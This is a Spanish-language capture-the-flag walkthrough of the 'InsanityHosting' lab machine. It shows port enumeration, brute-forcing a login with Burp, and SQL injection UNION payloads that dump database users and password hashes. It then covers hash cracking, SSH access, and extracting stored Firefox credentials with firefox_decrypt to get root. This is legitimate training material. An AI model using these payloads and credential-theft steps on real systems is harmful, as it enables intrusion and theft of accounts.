# InsanityHosting

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FcuaSf5IuB2I7witWFiGq%2FSQL%20injection%20vulnerability%20in%20WHERE%20clause%20allowing%20retrieval%20of%20hidden%20data%20(7).png?alt=media&#x26;token=2a96beb4-48d5-4c7a-b0df-d76669bfcdb8" alt=""><figcaption></figcaption></figure>

## Enumeración

### Enumeración de servicios abiertos

Comenzamos la resolución de esta nueva máquina enumerando que servicios tiene abiertos el objetivo. Primero realizamos el escaneo rápido de servicios.

```
nmap -p- --open --min-rate 2000 -Pn -n 192.168.248.124
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fn2EG3v3ivEZFAduiXEb0%2Fimage.png?alt=media&#x26;token=f8084d9b-df14-435c-8c8a-41f29ab7e873" alt=""><figcaption></figcaption></figure>

Tres puertos abiertos: 21, 22 y 80. Seguimos con la enumeración profunda de estos servicios.

```
nmap -p21,22,80 -sVC -Pn -n 192.168.248.124
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FIvjTEixZapDITPXr23R5%2Fimage.png?alt=media&#x26;token=21952ec5-0dec-4fa1-bafd-f5daa9ead5c0" alt=""><figcaption></figcaption></figure>

Destacable, podemos iniciar sesión de manera anónima en el servidor FTP.

Servicios abiertos

* Puerto 21 -> FTP -> vsftpd 3.0.2
* Puerto 22 -> SSH -> OpenSSH 7.4
* Puerto 80 -> HTTP -> Apache httpd 2.4.6

### Enumeración FTP

El sistema víctima está ejecutando un servidor FTP, en el cual podemos iniciar sesión de manera anónima. Veamos si contiene información interesante.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FOPGrOJsoXz6DgAMN1h52%2Fimage.png?alt=media&#x26;token=14b2e14d-a6cd-4f6a-8e44-91b64b7e052f" alt=""><figcaption></figcaption></figure>

Encontramos un directorio "pub", en el cual no hay nada interesante.&#x20;

### Enumeración Web

En la máquina objetivo se está ejecutando un servidor Web en el puerto 80. Vamos a ver que contiene y a enumerar sus directorios y archivos.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FjGFsEXES4PnnEcpf3hNk%2Fimage.png?alt=media&#x26;token=257fec37-0a49-49be-b7bc-09d5a3a61fe7" alt=""><figcaption></figcaption></figure>

Vamos a enumerar directorios y archivos interesantes que nos permitan avanzar en la resolución de la máquina.&#x20;

```
dirsearch -u "http://192.168.248.124/" -i 200,301 -t 20
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FGIyTg0IrC6EliZ5LN4rp%2Fimage.png?alt=media&#x26;token=5e2b5b17-8fbf-474e-9c8a-93318b15c1b0" alt=""><figcaption></figcaption></figure>

Hay múltiples directorios que pueden ser interesantes.&#x20;

En el directorio /news, encontramos un posible nombre de usuario de sistema.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FscH3E4mo6ZUP6RWQvuYw%2Fimage.png?alt=media&#x26;token=caa71ca0-3949-4138-82d6-a938adf67c73" alt=""><figcaption><p>Posible nombre de usuario: Otis</p></figcaption></figure>

Encontramos también un Panel de phpmyadmin para el cual no tenemos credenciales.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FMmQxqojLkFyS4IVoNljn%2Fimage.png?alt=media&#x26;token=7f8947e5-9569-49cd-996b-8bb5fe034abf" alt=""><figcaption></figcaption></figure>

Y un login de inicio de sesión.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fham4WIbSiOrEHs7A3dHV%2Fimage.png?alt=media&#x26;token=f32b2590-b41f-4f83-9b11-8e67f352e4e0" alt=""><figcaption></figcaption></figure>

Y otro login de sesión, en este caso parece que para un servidor Mail.&#x20;

Tenemos un nombre de usuario, y un par de paneles de login. Vamos a realizar un pequeño ataque de fuerza bruta con Burp Intruder sobre estos logins.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fqa2qDLs8bEipyFuLbUso%2Fimage.png?alt=media&#x26;token=ce6dcce8-4b28-40cb-9f8f-8c1e3566c559" alt=""><figcaption></figcaption></figure>

Aunque todas las configuraciones de usuario y contraseña devuelven resultado 302, si analizamos las respuestas a las peticiones, vemos que la contraseña 123456 nos redirige a "index.php" mientras que las demás se quedan en "login.php".

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F6vjm22rRfzxXV9fVUbSU%2Fimage.png?alt=media&#x26;token=bb28fc0c-888b-45f4-8a65-9ae9435235a1" alt=""><figcaption></figcaption></figure>

Tenemos unas credenciales, otis:123456. Volvemos al login e intentamos iniciar sesión.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FgMroyB3AT8QNz8dK3BU3%2Fimage.png?alt=media&#x26;token=bfddf8d2-6850-466f-a2a6-95c321a03442" alt=""><figcaption></figcaption></figure>

Accedemos a un Panel de Control con las credenciales obtenidas.&#x20;

Vamos a tratar de iniciar sesión también en el otro login de inicio de sesión en el servidor Mail con las mismas credenciales anteriores.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FhzNAPrkaQxmJWhc2CGDH%2Fimage.png?alt=media&#x26;token=9b26a16a-d935-41da-8dda-871c865fdd67" alt=""><figcaption></figcaption></figure>

Credenciales válidas.&#x20;

## Explotación

Vamos a crear un servidor con una IP erronea y vemos la respuesta, que se envía al servidor Mail.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FwYdX8GSXZ1QXHR2gNcFC%2Fimage.png?alt=media&#x26;token=1b2c7ef3-7349-4c25-8622-693297efee9a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FPqwhwUqz154MoHKYgdeT%2Fimage.png?alt=media&#x26;token=3ac5225a-a1c0-414e-9f24-c068865361b7" alt=""><figcaption></figcaption></figure>

Viendo la respuesta obtenida, parece que la información se extrae de la base de datos del sistema. ¿Podría existir una vulnerabilidad de SQLi? Vamos a comprobarlo.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FS17vPKrUuQcd0wHKg3OT%2Fimage.png?alt=media&#x26;token=056fd8c9-9515-42a1-a17a-7c515a57be9d" alt=""><figcaption></figcaption></figure>

Existe una vulnerabildad de SQLi. Vamos a obtener el nombre de la base de datos y el nombre de usuario.

```
" union select 1,2,database(),user()#
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FsgY9Mk3bLUTPz6fwtW4z%2Fimage.png?alt=media&#x26;token=d3cb3b2f-4719-4227-a975-57ca64646ef4" alt=""><figcaption></figcaption></figure>

Obtenemos la lista de bases de datos.

```
" UNION SELECT NULL, NULL, NULL, SCHEMA_NAME FROM information_schema.SCHEMATA; #
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F3qFqbnv4E6Npod7qwIvd%2Fimage.png?alt=media&#x26;token=8dbf5c8e-ff8a-40e0-baf1-8241e4c875f3" alt=""><figcaption></figcaption></figure>

Veamos el contenido dentro de la base de datos "monitoring"

```
a" UNION SELECT group_concat(table_name),2,3,4 FROM information_schema.tables where table_schema = 'monitoring' -- -
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FKvHhIstBSGiA6L2A6i0X%2Fimage.png?alt=media&#x26;token=a44efdd7-961b-40b7-ae63-6b7950b1532e" alt=""><figcaption></figcaption></figure>

Veamos que información contiene la tabla "users"

```
" UNION SELECT group_concat(column_name),2,3,4 FROM information_schema.columns where table_name = 'users' -- -
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FhVOtkAx7BH1BVVbpIRDh%2Fimage.png?alt=media&#x26;token=ababc105-7c9d-45a6-a217-793de5162e04" alt=""><figcaption></figcaption></figure>

```
" UNION SELECT group_concat(username),group_concat(password),group_concat(email),4 FROM monitoring.users -- -
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FudNSRZAtCzXSlSnoaP2K%2Fimage.png?alt=media&#x26;token=2376fd01-cb15-4bc3-a8da-6041394ec038" alt=""><figcaption></figcaption></figure>

Obtenemos varios nombres de usuarios con hashes aparentemente de contraseñas.

Vamos a repetir el mismo proceso anterior también para la base de datos "mysql".

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FV8kFL1v8WMVlrVofeJHz%2Fimage.png?alt=media&#x26;token=7902fcb8-a271-4fd9-b3f0-5786a46e1072" alt=""><figcaption></figcaption></figure>

Y volvemos a encontrar más usuarios con sus respectivos hashes de contraseñas. Vamos a tratar de descifrar todos los hashes para obtener credenciales que podamos utilizar.&#x20;

De los hashes obtenenidos de la base de datos "mysql" encontramos una coincidencia para el usuario "elliot".

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FtFCEicFJPa6hnr8U7bn3%2Fimage.png?alt=media&#x26;token=3599047d-2fdc-45e8-8828-6d16f1512380" alt=""><figcaption><p>elliot:elliot123</p></figcaption></figure>

Vamos con los otros hashes. Pero no obtenemos resultados positivos para ningún hash.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F72TKFOwDbLcopqqnouFi%2Fimage.png?alt=media&#x26;token=2edd6aaf-0d70-4e2c-89ef-d96f00be34c5" alt=""><figcaption></figcaption></figure>

## Acceso como usuario "elliot"

Anteriormente, encontramos unas credenciales para el usuario "elliot" y la máquina objetivo ejecuta un servicio SSH en el puerto 22. Vamos a probar si las credenciales elliot:elliot123 son válidas.

PD: Cambiamos de IP por reinicio de la máquina.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FlHAzh4hfHLDRFjCb0nN5%2Fimage.png?alt=media&#x26;token=0273e8a2-5fb2-4fde-ba83-e06d8b4adaff" alt=""><figcaption></figcaption></figure>

Buscamos la flag local.txt

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FCJ8PYxCaB9sPimOxtlT3%2Fimage.png?alt=media&#x26;token=dd4d7a03-f02d-468a-81fd-3eb66c10f100" alt=""><figcaption></figcaption></figure>

## Elevación de privilegios

Una vez tomamos acceso al sistema como usuario "elliot", el siguiente paso será intentar obtener privilegios máximos dentro del sistema. Mientras enumerabamos anteriormente para buscar la flag local.txt, en el directorio del usuario "elliot" encontramos una carpeta .mozilla que no es común. Veamos su contenido.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FHkFkBK6hC4dgbYCBI8CS%2Fimage.png?alt=media&#x26;token=99f1f5a0-a54c-4acc-9a39-4bf7d31e43f3" alt=""><figcaption></figcaption></figure>

Dentro de firefox encontramos un directorio que contiene diferentes archivos .db, cache... relacionados con el navegador Web.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FUbGVX3obGe0jV2DGGklE%2Fimage.png?alt=media&#x26;token=7847facd-7543-4108-9e53-f927cf2e2822" alt=""><figcaption></figcaption></figure>

Copiamos esta carpeta a nuestra máquina de ataque.&#x20;

```
scp -r elliot@192.168.170.124:/home/elliot/.mozilla/firefox/esmhp32w.default-default/ /home/kali/Desktop/provinggrounds/insanityhosting
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FG0HPFfirTghmGqZflGX0%2Fimage.png?alt=media&#x26;token=a17619bc-8604-4005-930f-757c5eef9a9d" alt=""><figcaption></figcaption></figure>

Existe un tool que podemos descargar [aquí](https://github.com/unode/firefox_decrypt), que sirve para descifrar estos archivos descargados y extraer entre otras cosas credenciales almacenadas en el navegador.&#x20;

```
python3 firefox_decrypt.py /home/kali/Desktop/provinggrounds/insanityhosting/esmhp32w.default-default
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FhY5Cul0lERrGZngsrPt1%2Fimage.png?alt=media&#x26;token=7a73991a-8d36-4840-bdb4-53dc6151b9a7" alt=""><figcaption></figcaption></figure>

Obtenemos las credenciales root:S8Y389KJqWpJuSwFqFZHwfZ3GnegUa. ¿Serán las credenciales del usuario "root"? Vamos a comprobarlo.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F6zSjtR17FOy0plFhjqmf%2Fimage.png?alt=media&#x26;token=e989e121-c207-4c45-95ce-2374d5ebdd5f" alt=""><figcaption></figcaption></figure>

Obtenemos acceso al sistema con privilegios máximos. Solo queará buscar la flag proof.txt para terminar la resolución de este CTF.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Foh01CcB6fcoWMAPDVuVU%2Fimage.png?alt=media&#x26;token=b69e8dc6-6816-4843-a8a1-e929fa19c4fe" alt=""><figcaption></figcaption></figure>

{% embed url="<https://youtu.be/7rp9qKhcpsA>" %}
